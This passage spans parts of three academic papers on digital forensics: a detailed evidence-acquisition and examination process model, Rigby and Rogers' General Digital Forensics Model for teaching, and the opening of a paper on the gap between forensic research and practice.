ii. Drive configuration information includes logical block addressing [LBA]; large disk; cylinders, heads, and sectors [CHS]; or auto-detect.  

v. Collect evidences from removable media sources such as backup tapes, floppy disks, etc.  

w. Power system down by removing the power cable and then remove and acquire storage device of the suspect, if possible.  

x. Exceptional circumstances, including the following, may result in a decision not to remove the storage devices from the subject system: (National Institute of Justice 2004)  

i. RAID, removing the disks and acquiring it individually may not yield usable results.  

ii. Laptop systems. The system drive may be difficult to access or may be unusable when detached from the original system.  

iii. Hardware dependency [legacy equipment]. Older drives may not be readable in newer systems.  

iv. Equipment availability. The examiner does not have access to necessary equipment.  

v. Network storage. It may be necessary to use the network equipment to acquire the data.  

y. Prepare chain of custody in which gathering process must be documented which should include timestamp, digital signatures and signed statements.  

z. Duplicate the evidence disk drive, perform at least two copies.

2. Computer already shutdown:  
Never turn on or operate suspects computer during investigation if it is off leave it off  


b. Before imaging use write protectors or write blockers tools to insure the integrity of information gathered from disk.  

c. Remove and acquire storage device of the suspect using the examiner’s system, then configure it on the examiner’s system to be recognized.  

d. Exceptional circumstances that may result in a decision not to remove the storage devices from the subject system are mentioned above in section x in the life system case.  

e. Command line tools are preferred than GUI interface tools and use safe and tested tools.  

f. Then Follow steps from n-q in the life system case.  

g. Prepare Chain of custody in which gathering process must be documented which should include timestamp, digital signatures and signed statements.  

h. Duplicate the evidence disk drive.

4.3.3 Survey the digital scene  
Survey phase is performed on a live system or on the snap shot image. It can occur on a live system, similar to what occurs in the physical world. Mostly it is occurs in a lab using one of the digital crime scene replica images as it is preferred because it provides a controlled environment and the results can be repeated with another copy of the system.
It examines the obvious locations for evidence and develops strategy for how to search the system for additional evidence, it also provides details and description about data as to be used in extraction activities and it shows the skill level of the suspect.

4.3.4 Digital Evidence Examination

The purpose of the examination process is to locate, extract and analyze digital evidence to reconstruct the crime scene.

Extraction refers to the recovery of data from its media. Analysis refers to the interpretation of the recovered data and putting it in a logical and useful format (National Institute of Justice 2004).

Examination of the evidence will involve the use of a potentially large number of techniques to find and interpret significant data, while doing so it must preserve the integrity of evidence and chain of custody to present it in court.

General forensic principles apply when examining digital evidence. Different types of cases and media may require different methods of examination. Persons conducting an examination of digital evidence should be trained for this purpose (National Institute of Justice 2004).

When conducting evidence examination, consider using the following steps:

1. **Preparation:** Prepare working directories on separate media to which evidentiary files and data can be extracted and recovered (National Institute of Justice 2004), and start the lab evidence log from the case management system to record details of examination and the state of evidence at arrival.

2. **Locating Evidence:** Making a checklist can help in the examination process, and can use it to double-check that everything is there.

This step depends on the case and the type of operating system used. There are some areas and files in each operating system that are recommended for evidence gathering, but also this depends on the case. The common areas are:

- **a. Windows operating system:**
  1. Files and file system: Using command lines tools can help investigator to ascertain and examine the time, date of installation of the operating system, service packs, patches and subdirectories like drivers that automatically update themselves
  2. Hidden files: such as NTFS alternate data streams that can be detected by the help of tools searching on registry, locate data in hidden or masked file extensions.
  3. Detect unusual or hidden files by modifying windows to display certain hidden file types.
    - a. Compressed files.
    - b. Misnamed files.
    - c. Encrypted files.
    - d. Password-protected files.
    - e. File attributes.
    - f. Marked bad clusters.
    - g. Security ID: Microsoft Security ID are found on registry in profile list that holds profile list key for each user on computer
  4. Slack space: The space existing at the end of the file of the last cluster that contains data from computer.
5. Windows registry: windows registry is a database where all the information about a computer is stored. It is used to store:
   a. Operating system configuration, application configuration information and hardware configuration information.
   b. User security information and current user information.

6. Locate evidence from the Windows print spooler and enhanced metafiles (EMF), even if a user never saved a word-processing document, temporary versions of word-processing documents sometimes remain on the hard drive.

b. Linux/Unix operating system:
   1. Mount the restored imaged working copy and start analyzing the contents.
   2. Use the ls command to view the contents of the disk. [ls –alR to list all files including hidden files and list the directories recursively].
   3. Make a list of all files along with access times, and search for likely evidence using grep command.
   4. List unknown file extensions and changed file appearance.
   5. Search in such areas:
      a. Syslog: This is the heart of Linux logging.
      b. File access time.
      c. Detect unusual or hidden files, compressed files, Misnamed files, Encrypted files and Password-protected files.

c. For both operating systems:

Search in such areas:
   1. Temporarily internet files, cookies and batch files [*.bat].
   2. Memory, it also identifies network logon names, passwords and other sensitive information.
   3. Swap files: is space on a hard disk reserved for the operating system to do what’s called paging and which is called virtual memory [the swap file is called win386.swp in windows, and in windows NT/2000/XP, it is called pagefile.sys].
   4. Unallocated clusters, unused partitions, hidden partitions, HPA and DCO.
   5. Destroyed or deleted partitions, files and data [The index application in windows locates data that has been destroyed].
   6. Locate and retrieve e-mail evidence. E-mail messages can be found in a number of different places, such as the sender’s e-mail inbox/outbox a network server’s mailbox, or backup media.
   7. Scan for backdoors and network sniffers.
   8. Locate root kits or viruses.
3. **Extracting evidence:** There are two different types of extraction, physical and logical.

   **a. Physical extraction:**
   During this stage the extraction of the data from the drive occurs at the physical level regardless of file systems present on the drive. This may include the following methods: keyword searching, file carving, extraction of the partition table and unused space on the physical drive (National Institute of Justice 2004) and examining the partition structure which may identify the file systems present and determine if the entire physical size of the hard drive is accounted for investigation.

   **b. Logical extraction:**
   During this stage the extraction of the data from the drive is based on the file system(s) present on the drive and may include data from areas as active files, deleted files, file slack, and unallocated file space (National Institute of Justice 2004), steps may include:
   1. Extraction of the file system information to reveal characteristics such as directory structure, file attributes, file names, date and time stamps, file size, and file location (National Institute of Justice 2004).
   2. Data reduction to identify and eliminate known files through the comparison of calculated hash values to authenticated hash values (National Institute of Justice 2004).
   3. Extraction of files pertinent to the examination. Methods to accomplish this may be based on file name and extension, file header, file content, and location on the drive (National Institute of Justice 2004).
   4. Recovery of deleted files and partitions.
   5. Extraction of password-protected, encrypted, and compressed data as well as file slack and unallocated space.
   6. Extract information from startup and configuration files.
   7. Determine data relevance, keep in mind, however, that it needs to be fast, don’t waste time collecting information that will be of no use to the case (Schweitzer 2003).
   8. Extract IDS, Router, Firewall, application and authentication log files.
   9. Extraction of e-mails and deleted e-mails from .pst [personal e-mail files] and .ost [offline e-mail files] files or from history, cookies and temporarily internet files.

4. **Reconstruction of extracted data:** Once the evidence is gathered and extracted, it can be used to reconstruct the crime to produce a clear picture of the crime and identify the missing links in the picture.

   There are three fundamentals of reconstruction for investigating crimes, which are: Temporal analysis, Relational Analysis and Functional Analysis.

   Temporal analysis tries to discover some factors such as what happened and who are involved, while relational analysis facilitate the reconstruction by correlating the actions of suspected victim, at the same time functional analysis discovers how the activities or actions actually happened and discovers the responsible factors.

   There are many analysis techniques used to present significance of evidences, it’s not a must to use all these techniques in all the cases, but it depends on the case nature, some of these techniques are:
a. **Timeframe analysis:**

   Timeframe analysis can be useful in determining when events occurred on a computer system, which can be used as a part of associating usage of the computer to an individual(s) at the time the events occurred. Two methods that can be used: (National Institute of Justice 2004)

   1. Reviewing the time and date stamps contained in the file system metadata [e.g., last modified, last accessed, created, change of status] to link files of interest to the timeframes relevant to the investigation.
   2. Reviewing system and application logs that may be present. These may include error logs, installation logs, connection logs, security logs, etc.

b. **Data hiding analysis:**

   Digital systems can easily hide data. Using data hiding analysis can be useful in recovering some important information which may indicate knowledge or ownership... Methods that can be used include:

   1. Correlating the file headers to the corresponding file extensions to identify any mismatches and analyze the file signatures to detect hidden data.
   2. Analyze all password-protected, encrypted, and compressed files, knowing that the password itself may be as relevant as the contents of the file.
   3. Gaining access to a HPA, the presence of user-created data in an HPA may indicate an attempt to conceal data. (National Institute of Justice 2004)

c. **Application and file analysis:**

   Many programs and files identified may contain information relevant to the investigation and provide insight into the capability of the system and the knowledge of the user. Results of this analysis may indicate additional steps that need to be taken in the extraction and analysis processes (National Institute of Justice 2004). Some examples include:

   1. File names may be evident and it may indicate content of file.
   2. Examining file content which may contain evidence or indicates possession to a specific user.
   3. Correlating the files to the installed applications (National Institute of Justice 2004).
   4. Considering relationships between files. For example, correlating Internet history to cache files and e-mail files to e-mail attachments (National Institute of Justice 2004).
   5. Examining the users' default storage location(s) for applications and the file structure of the drive to determine if files have been stored in their default or an alternate location(s) (National Institute of Justice 2004).
   6. Examining user-configuration settings, analyzing file metadata, the content of the user-created file containing data additional to that presented to the user, typically viewed through the application that created it (National Institute of Justice 2004).

d. **Log Files analysis:**

   1. Analyze network traffic and analyze each network packet.
   2. Analyze IDS logs and monitor security events.
   3. Perform Protocol analysis and content searching /matching for each packet.
4. Investigate and analyze Router logs:
   a. Syslog logging
   b. Buffer Logging
   c. Console logging
   d. Terminal logging
   e. SNMP logging
   f. Access Control List [ACL] logging

5. Investigate and analyze firewall and switch logs.

6. Investigate and analyze Application server logs.
   a. Errors generated and its time
   b. E-mail server logs
   c. Logins, executed commands
   d. Database logs
   e. Authentication Logs
   f. Operating system log files

7. Correlate log files to get the whole picture in case of network attacks.

e. Analysis of e-mail messages:
   1. View e-mail header: which contain information email origin, how it reached and who send it [The header can be faked except the "received" portion-referencing.].
   2. Trace email regarding internet domain using source IP address in header.
   3. Verify the validation of e-mail path by checking in router [check ID of message] and firewall logs.
   4. Analyze logs from e-mail server.
   5. Contact the e-mail provider in the case of web based e-mail [source] to reveal suspects information.

f. Network analysis:
   1. Analyze any abnormal system processes, port files and services using commands already on the system or third-party tools.
   2. Analyze startup files to analyze any unauthorized system modification and check for unusual ports listening for connections from other hosts.
   3. Inspect network configurations for unauthorized entries.
   4. Identify initiating IP address, source port, service, date and time.
   5. Identify unauthorized network trusts.

5. Conclusion: Results obtained from any one of these steps may not be sufficient to draw a conclusion (National Institute of Justice 2004). When viewed as a whole; however, associations between individual results may provide a more complete picture. As a final step in the examination Phase, consider the results from both physical and digital forensics phases,
and organize the analyses results from collected physical and digital evidences to link a person to the digital events.

4.4 Reporting and Presentation Phase

Reporting is a vital importance in digital forensic cases. Writing a good and comprehensive report increase the chance of convincing the judge and winning the case. Report does not only including communicating facts, but it also presents the expert opinion. The presentation(s) are intended to provide both detailed confirmatory and event reconstruction information (Beebe & Clark 2004). This report should:

- Document whether or not the allegations were substantiated.
- It must be organized in a way, so that anyone who reads it can understands it without reference to any other material, so while writing the report must include any related documents such as log files and pictures.
- It should present evidence as testimony. Also Fees paid for expert's service and list of all list of civil and criminal cases in which the expert has testified for the preceding four or five years must be included.

It is preferred to be in PDF format and it should be communicable. No assumptions should be made while writing the report. If something important is discovered include it in the report. Writing should be brief, grammar and spelling must be checked and repetition of word and difficult and slang words should not be used. A good report should have the following features:

- Reporting agency name and data.
- Case identifier or submission number (National Institute of Justice 2004).
- Identity of the both the submitter, the investigators and examiners of the case including their signatures.
- Date of both receipt and reporting.
- Description of collection and examination procedures.
- Descriptive list of items submitted for examination, including serial number, make and model.
- Brief description of steps taken during examination. (National Institute of Justice 2004).
- Providing uncertain and error analysis. (National Institute of Justice 2004).
- Explanation of results.
- Should include all log files generated by forensic tools.
- Summary and details of findings

Details of finding should describe in detail the results of the examinations and may include:

- Specific files related to the request and other files, including deleted files that support the findings (National Institute of Justice 2004).
- String searches, keyword searches and text string searches. (National Institute of Justice 2004).
- Internet-related evidence, such as web site traffic analysis, chat logs, cache files, e-mail, and news group activity. (National Institute of Justice 2004).
- Graphic image analysis. (National Institute of Justice 2004).
- Ownership indicators.
Data analysis and description of relevant programs on the examined items. (National Institute of Justice 2004).

Techniques used to hide or mask data, such as encryption, Steganography, hidden attributes, hidden partitions, and file name anomalies (National Institute of Justice 2004).

Supporting materials: List supporting materials that are included with the report, such as printouts of particular items of evidence, digital copies of evidence, and chain of custody documentation (National Institute of Justice 2004).

4.5 Closure Phase

The closure phase involves at the beginning reviewing the whole case in which it reviews the investigation to identify areas of improvement. It also examines how well each of the physical and digital investigations worked together, and whether the evidences collected were enough to solve the case. The purpose of this phase is to:

- Review the entire process and investigation procedures.
- Collect and preserve all information related to the incident.
- Return the physical and digital properties to their owner.
- Determine what criminal activities must be removed.
- Eradicate system information and apply counter measures to prevent such crimes from happening again on the system.

The Closure documentation should be performed which include the time and date of release, to whom and by whom released.

5. MODEL DISCUSSION AND CONCLUSION

The problem of cyber crime is increasing rapidly, which requires increase in expertise in the digital forensic investigation area and requires guidance for these experts to perform the investigation without alerting the integrity of evidences.

This model offers unique benefits over other models as it gives a deep level of detailed steps for each phase. It is practical and involves steps that actually investigators do during investigation. It is general with respect to technology so that it won’t be limited to present technologies at the same time it is specific enough so that each phase can be developed in future tools.

The proposed model also covers the most popular operating systems windows, UNIX and Linux, and it is technology neutral so it can be used in different platforms and on different cases. This model allows technical requirements for each phase to be developed and identifies interaction between physical and digital investigations. It is abstract enough that it can be applied to both law enforcement and corporate scenarios.

As digital evidence is challenged more in court, using standard procedures and models increase the court acceptance of the cases and by including already known and recognized procedures from physical forensics will add credibilty to the analysis results from the digital world.

6. REFERENCES


The General Digital Forensics Model

Steven Rigby
BYU-Idaho
Rexburg, ID USA
rigbys@byui.edu

Marcus K. Rogers
Purdue University
West Lafayette IN USA
rogersmk@purdue.edu

ABSTRACT
The lack of a graphical representation of all of the principles, processes, and phases necessary to carry out an digital forensic investigation is a key inhibitor to effective education in this newly emerging field of study. Many digital forensic models have been suggested for this purpose but they lack explanatory power as they are merely a collection of lists or one-dimensional figures. This paper presents a new multi-dimensional model, the General Digital Forensics Model (GDFM), that shows the relationships and inter-connectedness of the principles and processes needed within the domain of digital forensics.

Keywords: process model, computer forensics, expert learning, educational framework, digital forensics

1. INTRODUCTION
There is a need for students studying digital forensics to see the complete investigative picture. This is required so that connections and the linkages will be made regarding the relationships between core investigative principles and processes. Being able to see the “big picture” before teaching individual topics provides a schema that situates concepts and creates a mental structure to hang core ideas on. This paper offers a new multidimensional graphical digital forensic model (GDFM) to help to show the relationships between the interconnecting points of the forensic client, forensic processes, and the forensic elements. The model is constructed in a way that promotes the structural knowledge needed by those involved in digital forensic investigations. The creation of mental models has been a key factor for experts in their domains and these mental models can be used to increase students’ expertise and problem solving abilities.

2. WHY USE GRAPHICAL MODELS?
Representing theory in a graphical model is an effective way to convey meanings of complex principles and processes, and how they interact with each other. In addition to adding to the domain literature, graphical models can also help educators’ effectively present theory to students. The goal for educators is to help students evolve and acquire attributes that are exhibited by those who are considered experts in a particular domain. One of the main characteristics of experts is that they look at problems through principles and organize the problem around main ideas; while novices will immediately try to fit the problem into a solution (Chi, Glaser, & Farr, 1998). Additionally, when engaged in problem solving, experts will usually try to understand the problem more thoroughly than novices. Experts build mental models that help define the scope and constraints to the problem (Chi et al., 1998). This becomes increasingly important for problems that are ill-defined and may necessitate using previous mental models and adapting them to solve current problems.
When concepts within a specific domain are interrelated, it increases the learners’ structural knowledge and helps “connect the dots”. This connection is very important for problem solving (Jonassen, 2000). Learners that are only required to memorize facts may have difficulty understanding the “why?” and the “how come?” By organizing facts around principles and processes, students will better answer these questions and will start to organize a mental framework that more closely resembles that of experts (National Research Council, 2000). One way to help students create this mental framework and understand the complexity of digital forensic concepts is to provide graphical models that show these principles and processes in an inter-related way.

Creating models helps learners conceptualize systems and all of the systems sub-components in order to understand the behaviors of other systems (Lesh & Doerr, 2003). Graphical models also help learners see concepts in different representations which helps readers think at higher levels of abstraction. Research has shown that using multiple representations in instruction has been a key factor to further understanding (Ainsworth, Bibby, & Wood, 2002). All of these different representations allow the learner to derive a deeper meaning and understanding of the concept being taught. Each representation has its own vagueness and weakness, and by combining these representations a clearer picture comes into view (Ainsworth et al., 2002).

This ability to infer meanings between representations is the desired outcome of instruction. Kaput (1989, pp. 179-180) states that “cognitive linking of representations creates a whole that is more than the sum of its parts… it enables us to see complex ideas in a new way and apply them more effectively.” Ainsworth (1999) suggests that this transfer can be achieved through:

a) promoting abstraction;

b) encouraging generalization; and

c) teaching relations between representations.

Additional studies have shown that the underlying models or cognitive structures of experts were highly predictive of problem solving scores and activities. This suggest that “well-integrated domain knowledge is essential to problem solving” (Jonassen, 2000 p. 70).

So why do we use graphical models for representing complex systems? The reason is that graphical models help us visualize complex systems of principles and processes, and illustrate how they are related to each other. Additionally, graphic models help improve problem solving capabilities and further expertise. Expertise is the goal for students and practitioners alike and as the digital forensic domain continues to be defined, it will be increasingly important to identify the principles and the relationships between these principles. This will not only solidify the theory of digital forensic science, but it will aid in the instruction of students learning digital forensic principles, processes, and their relationships.

3. CURRENT IA MODELS

There are many models that have been created to help explain and conceptualize Information Assurance principles. The McCumber model (which was revised to become the Information Assurance Model) uses a “cube” to represent the relationships between security services, information states, and security countermeasures (Maconachy, Schou, Welch, & Ragsdale, 2001). The representation of a cube with its many sections conveys a multi-dimensional view suggesting there are relationships between and among each section. For example, in the Information Assurance Model (Figure 1) the concept of confidentiality does not stand on its own within an organization, rather it is dependent upon technology, policy, practice, and people. At any given moment information could be in one or more of the different states of transmission, storage, or processing (Maconachy et al., 2001).
By examining the Information Assurance Model cube one can visually see the relationships between and among each concept. This becomes an important factor of instruction since much of the time spent on initial learning is developing patterns of recognition that can be recalled and applied to new experiences (National Research Council, 2000). Many textbooks and courses use this model to show the “big picture” of IA and can use this model as a launching point of discussion.

Other organizations are finding it useful to use the three dimensional matrix cube model for constructing a conceptual framework to represent theory and systems of objectives. The Committee of Sponsoring Organizations of the Treadway Commission (COSO) used the cube (see Figure 2) for constructing a framework for integrating principles, creating a common terminology. This framework has been used to develop practical implementation guidance for risk management objectives (COSO, 2004).
4. DIGITAL FORENSIC MODELS

With the dynamic and fast changing pace of technology, digital forensic models should be based upon core principles and processes that will continue to be relevant in the future despite the fact that tools, methods, and lists change frequently. By focusing the model on principles and concepts rather than detailed lists and procedures, the model can be applied to different environments and situations. The creation and use of tools has mainly been the focus in the past, while theory and core concepts has been relatively ignored (Rogers & Seigfried, 2004). Rogers and Seigfried (2004) state that there is a:

…misguided belief that there is no generic conceptual approach to computer forensics (i.e., every case is so unique that standards are meaningless). Other areas of forensic science have clearly shown that this is not true, and that a common conceptual approach is not only possible but is also imperative in order to be considered a scientific discipline by the courts (p. 15).

Some of the previous academic forensic models include McKemmish (1999), Mocas (2003), Carrier & Spafford (2003) Beebe and Clark (2004), and Rogers (2006). These models have focused on core ideas that can be used as a guide for academic and practitioners alike and can be generalized to new situations. It is important to note that there are ongoing discussions concerning which models closest resemble the “real world” and which principles and processes should be included in these models; however, this is a natural evolution as the digital forensic field is still being defined (Rogers, 2006).

The work of Beebe and Clark (2004) suggest a multi-tier, hierarchical framework so that lower level objectives and processes can be represented. This is a valid point since some of the criticism of previous models is that they are “overly-broad and do not lend themselves to a practical real-world approach for dealing with an entire investigation” (Rogers, 2006 p. 606). This presents the need to create a framework of models to show how the different levels of abstraction are necessary to understand and differentiate the principles from the sub-principles. This framework can take many forms where higher level principles are more theoretical and lower-level principles are more practical.

The purpose of this paper is not to describe the principles and processes in detail, [see McKemmish (1999), Mocas (2003), Carrier and Spafford (2003), Beebe and Clark (2004), and Rogers (2006)], but rather to extract the core ideas out of the previous models and offer a graphical framework for the digital forensics discipline that presents these ideas in a multi-dimensional inter-connected view.

5. THE GENERAL DIGITAL FORENSICS MODEL

The General Digital Forensics Model (DFGM) model is based on the “cube” representation that is also used in the Information Assurance Model (see Figure 3). Not only does this structure provide consistency from the broader Information Assurance Model to the sub discipline of digital forensics but it also represents the triangulation of all of the previous models mentioned earlier including Reith, Carr and Gunsch (2002). The GDFM takes the perspective of the digital forensics practitioner showing the core principles and processes (represented by the vertical rows) involved for a specific case divided into the collection phase and the analysis phase. Although the collection and the analysis phases may be done simultaneously, there are important principles and processes that can be tied to each. In addition, the practitioner may be presented with criminal, civil, or internal cases (represented by the horizontal rows) which may cause changes to sub-principles specific to the client. For example, a forensic practitioner will need to ensure the sub-principle of “control the scene” is adhered to before entering a crime scene, and otherwise might only need to ensure the employee has left for the day before doing a forensic copy for a business. The questions that the practitioner will need to answer are along the side of the cube (the third dimension of the matrix). These represent the who, what, how, where, and when of a forensic event.
The General Digital Forensics Model

The explanatory power of the GDFM lies in the fact that the core principles and processes of digital forensics are shown in a way that stimulates the mental connections to other core principles. The principle of preparation may require search warrants in a criminal case or the approval of management for an internal investigation. Additionally, the preparation principle should also take into account what type of data may be encountered and what technologies may be involved along with whom, and when the event occurred or is occurring.

In addition to being used for instructional and training purposes, the GDFM model can be used as for evaluation in the courts to see if the forensic practitioner has performed the necessary due diligence required for the case,. The Judge in a case may consider what steps were taken to ensure the collection, preservation, examination, and analysis of evidence based upon the Daubert criteria. Although the concepts and principles of the GDFM may not apply to all situations, it provides a framework for practitioners and students to consider.

6. WHAT THIS MEANS FOR EDUCATION – A CASE STUDY

In order to see how the multi-dimensional view of the GDFM model can help with instruction and create the mental threads that lead to understanding and expertise, this paper offers a brief discussion of one of the intersecting points. It is not feasible to review all of the possible ideas concerning the intersecting points of the GDFM, but rather to offer some points of discussion and thought that can be incorporated into instruction. A typical classroom scenario would be to walk the students through the various intersecting points and have the students come up with situations and contexts relevant to the categories. This will allow the students to develop mental maps based on ill-defined problems that are more representative of the real world. While the model can be used for examining highly defined case scenarios (as is usually the norm), research has shown that these well-defined problems do not produce
learning and skills that are transferable across situation, and thus very synthesis occurs (Jonassen, 2000).

6.1 Preparation

Preparation may be considered a principle, concept, or phase while looking through the different dimensions of the GDFM. Preparation can be applied to each of the dimensions of people, technology, data, location, and time, as well as that of whether the investigation is for a criminal, civil, or internal client.

People

The forensic practitioner will need to engage the necessary people to ensure the collection and analysis phase is accurate and correct. If the practitioner knows that they will only have a limited time on location, they may need assistants to take pictures, video, and documentation and help with the labeling and collection of materials and equipment. In addition to assistants, other experts may be needed to participate if the case includes tasks outside of the practitioner’s expertise. For example if the data being collected is located on a network SAN, or if the data is located in an oracle database the practitioner may need to solicit help from other experts in these areas.

Technology

The practitioner will also need to prepare the necessary hardware, and software needed to be successful in the collection and analysis process. This may include the necessary hard drives and cloning software needed for imaging disk drives as well as the appropriate technology necessary to collect data from flash, mp3, cell phones, printers, and other devices. The practitioner should also prepare an appropriate forensic field kit that includes all of the cables, labels, tape, gloves, markers, etc… that will be required for successful collection.

Data, Location & Time

The forensic data to be collected and analyzed may be in different forms and states. These data may be in a stored location, in memory or being processed. These data could be transmitting and streaming through a network, or these data could even be transmitting through the air using radio frequencies. These forensic data may not even be digital. For example these data may be analog data recorded as a tape or wave file. The forensic practitioner should be prepared ahead of time to encounter each of these different types of data with the necessary technology, and network of experts that can be drawn upon. Timing may be crucial to an investigation with the practitioner receiving limited or little advanced notice to perform the collection of digital forensic data.

Criminal, Civil, & Internal

Different people may need to be contacted and different preparation may be required for criminal, civil and internal clients. One of the most important principles, when dealing with criminal cases, is to “control the scene” before entering the premise of a crime scene. This can involve communication with the police to know when it is safe for the practitioner to enter in the case of a criminal investigation. For an internal case, one area of preparation would involve communication with management and securing the appropriate clearances to be allowed on-site during off-hours. In a civil matter the preparation may include a pre-discovery meeting with the opposing organization and their counsel to go over the anticipated request for electronically stored information (ESI).

The principle of preparation is just one of many lenses that can be used to look through the GDFM. Each of the other processes of identification, preservation, collection, examination, analysis, and presentation can be used to situate classroom discussions about the forensic events and the forensic client of the case.
7. SUMMARY

This paper presented a new graphical digital forensic model (GDFM) that is multi-dimensional and thought provoking. The usefulness of this new model is its ability to help students and professionals think through how the principles and processes of digital forensics are inter-related and multi-dimensional. The GDFM shows the relationships between the interconnecting points of the forensic client, forensic processes, and the forensic elements in a way that promotes the structural knowledge needed by those studying and engaged in digital forensic investigations. By discussing these relationships we can help students create mental models which are important for problem solving and increases expertise. As the digital forensic domain continues to be defined, it will be increasingly important to identify the core ideas and the relationships between these ideas. This will not only solidify the theory of digital forensic science, but will also help students learning digital forensic principles, processes, and their inter-relations.

8. REFERENCES


ABOUT THE AUTHORS

Steven Rigby is a faculty member at BYU-Idaho teaching information assurance, networking, and operating system courses in the Computer & Information Technology Department. Research interests include Information Assurance & Security instructional strategies, digital forensics, and security policy.

Marcus K. Rogers PhD, CISSP, CCCI-Advanced, is an Associate Professor at Purdue University and is the Chair of the Cyber Forensics Program in the Department of Computer & Information Technology. Dr. Rogers is also a member of the research faculty at CERIAS. Dr. Rogers’ research and publication interests include applied digital crime scene analysis, digital forensics, cyber criminal profiling & cyber terrorism.
Digital forensics is a young field that is being defined by the reactive nature of its development – in terms of both research and practice. As technology develops, digital forensics is forced to react and adapt. The rapid development of technology and the lack of an established theoretical foundation has led to a disconnect between the theory and practice of digital forensics. While the base theoretical issues are being worked on by researchers, practitioners are dealing with entirely new sets of issues. The complexity of investigations is increasing, and anti-forensics techniques are advancing as well. The disconnect will be resolved by economic and legal factors, as well as each side understanding their role in the development of this field and improving their channels of communication. This understanding will lead to digital forensics becoming a more mature and effective field.

Keywords: digital forensics, theory, research, practice

1. INTRODUCTION

Digital forensics is a rapidly developing field that continues to evolve, both in practice and in research. Technology continues to advance, as does the sophistication of anti-forensics techniques, which forces digital forensics researchers and practitioners to adapt. Moreover, rules for admissibility are becoming more stringent because the legal community is continuing to better understand technology and digital forensics. The legal community is requiring that digital forensics become more scientifically rigorous, much like traditional forensics.

Digital forensics is still in its infancy, especially when compared to other areas of forensic science. The term “computer forensics” was first defined in 1991 by the International Association of Computer Investigative Specialists (IACIS) [8], and the term has since evolved into “digital forensics” to encompass all digital media. Various U.S. government agencies have performed digital forensics since the mid-1980s; the FBI’s Computer Analysis and Response Team (CART), for instance, was formed in 1984 [6]. The field is, therefore, approximately 20 years old. Compare this to traditional forensic science, where the field, laboratory, and medical disciplines have a rich history that extends back to the 19th century.

In its beginning, the need for digital forensics was immediate, and the development of digital forensics techniques preceded any academic research or theoretical backing. Digital forensics practitioners developed best practices that were court-admissible on an ad hoc basis. The practitioners had no choice but to assume a reactive stance and perform investigations to the best of their abilities, without a theoretical framework or established legal principles. Digital forensics researchers had not yet stepped in to provide their input. This reactive stance and the lack of a theoretical framework meant that digital forensics evolved based on the specific needs of investigations and not necessarily on theoretical soundness.

Digital forensics research was initiated in the mid-1990s and evolved into a community of researchers with peer-reviewed journals and conferences. The research was born out of U.S. federal agencies’ needs to standardize and formalize the digital forensics process. One such conference was the International Law Enforcement Conference on Computer Evidence, first held in 1993 [10]. These conferences focused on the problems facing investigators, including how to handle non-computer-based digital evidence and how to standardize the investigation process. The research community has continued to evolve with the introduction of conferences and digital forensics-specific journals like the
Digital Forensics Research Workshop (DFRWS) and the International Journal of Digital Evidence (IJDE). These journals and conferences recognized the need for peer-reviewed digital forensics research. The academic scrutiny of current techniques and methodologies – as well as new ones – is critical for the advancement of the field.

Through their extensive research in digital forensics, researchers have developed numerous theoretical approaches to this field, but a growing disconnect between practitioners and researchers is occurring. The research has produced advancements in steganography, file system analysis, data reduction, and other areas. These advancements have improved digital forensics, but the difficulty is that some of the research is not in line with the needs of practitioners. This is caused by the fact that most practitioners are unaware of the research community, and many researchers are not fully aware of the technologies and techniques employed by practitioners.

This paper explores the various gaps between theory and practice in digital forensics. It also describes several forces that will “plug the gaps” and improve the overall field of digital forensics. In the first section, the reactive nature of digital forensics is described. The second section lists the goals for both theory and practice, explains how those goals are orthogonal to each other, and how that affects digital forensics research. The third section looks into some of the most important current issues faced by practitioners and the progress made by researchers. The fourth section examines the gaps between theory and practice, and the final section examines the various drivers that will lead to improvement in digital forensics.

2. REACTIVE NATURE OF DIGITAL FORENSICS

As a field, digital forensics reacts in various ways. When an incident or investigation occurs, digital forensics is performed. When new technology is introduced, digital forensics adapts. When case law changes, so too does digital forensics. Digital forensics is thus highly reactive.

Practitioners have been in a reactive posture since the inception of digital forensics, and that stance has been the basis for the development of digital forensics best practices and techniques. Digital investigations in the 1990s were typically conducted with primitive forensics software, few resources, and scant literature or best practices. Practitioners have developed best practices of digital forensics by solving immediate problems in the best, most time-permitting manner possible. These best practice techniques and methodologies have over time formed the literature of digital forensics. That is, the reactive techniques have evolved into the best practices and theory for lack of academic research.

The reactive nature of digital forensics has made the formation of a digital forensics science difficult. Several researchers have noted this problem. Gary Palmer claims that computer forensic analysis is not a true science, since the established methodologies and techniques are based on reactions to practical needs rather than sound scientific principles [9]. Adding to this confusion are several misconceptions. Traditional forensic science is founded on sound scientific principles from the soft science of biology and the hard science of physics. The principles and methodologies of traditional forensic science have been thoroughly scrutinized over the past hundred years in both academic and legal circles. During this time, both sides realized that no evidence is irrefutable, and that investigations’ conclusions must be convincing when faced with counterexamples or questions as to the soundness of the analysis. The scrutiny has led to a well-accepted body of literature for traditional forensics. Digital forensics, however, is a relatively new field. Computer crimes began to occur before technical and legal researchers truly understood the underlying problems of analysis methods and the validity of such analysis. This lack of understanding has resulted in theory that is founded on a series of techniques and methodologies that are designed to analyze specific types of cases.

Reactive problems run counter to scientific research. Research is better suited for the solving of problems where there is a positive, proactive solution, rather than mitigatory and recovery-based ones. Reactive problems are typically thought of in terms of purely practical or engineering-based. This notion is because most reactive problems involve configuration-specific issues. While digital forensics
research is much more than handling specific system configurations, the literature has largely evolved in that way. For example, there are Windows-specific methodologies and Unix-specific methodologies. Both of these methodologies grew from specific needs to find and analyze data that reside in different formats. The literature did not evolve from a generic, unified one.

Another difficulty with the reactive nature of digital forensics is that practitioners, at least partially, ignore the research community. Practitioners are typically under strict time constraints for completing their investigations. They care about successfully completing an investigation and not about mathematical formalizations or other theoretical issues. Most research does not apply to their investigations, and the research that does apply is typically not practically described or presented.

3. GOALS OF RESEARCHERS AND PRACTITIONERS

In most fields, researchers solve problems that face practitioners, and practitioners rely on researchers for solutions to their problems. If practitioners do not rely on researchers in some way, then researchers do not serve much of a purpose. It is therefore imperative that researchers understand the needs and goals of practitioners so that the right problems are solved. It is this issue that is most critical for digital forensics researchers, for perhaps the largest gap between digital forensics researchers and practitioners is that of the practitioners’ needs and the researchers’ goals.

The roles of practitioner and researcher are important for both sides to understand. Research is not solely confined to academia, and conversely, practice is not confined to law enforcement and the private sector. For purposes of this paper, a practitioner is anyone who actively performs digital forensics in order to participate in a criminal or civil investigation, or to otherwise respond to an incident. A researcher is anyone who innovates new tools or techniques, or refines existing tools or techniques. Figure 1 highlights the three digital forensics domains and denotes the fact that they interact and overlap.\(^1\)

\begin{figure}[h]
\centering
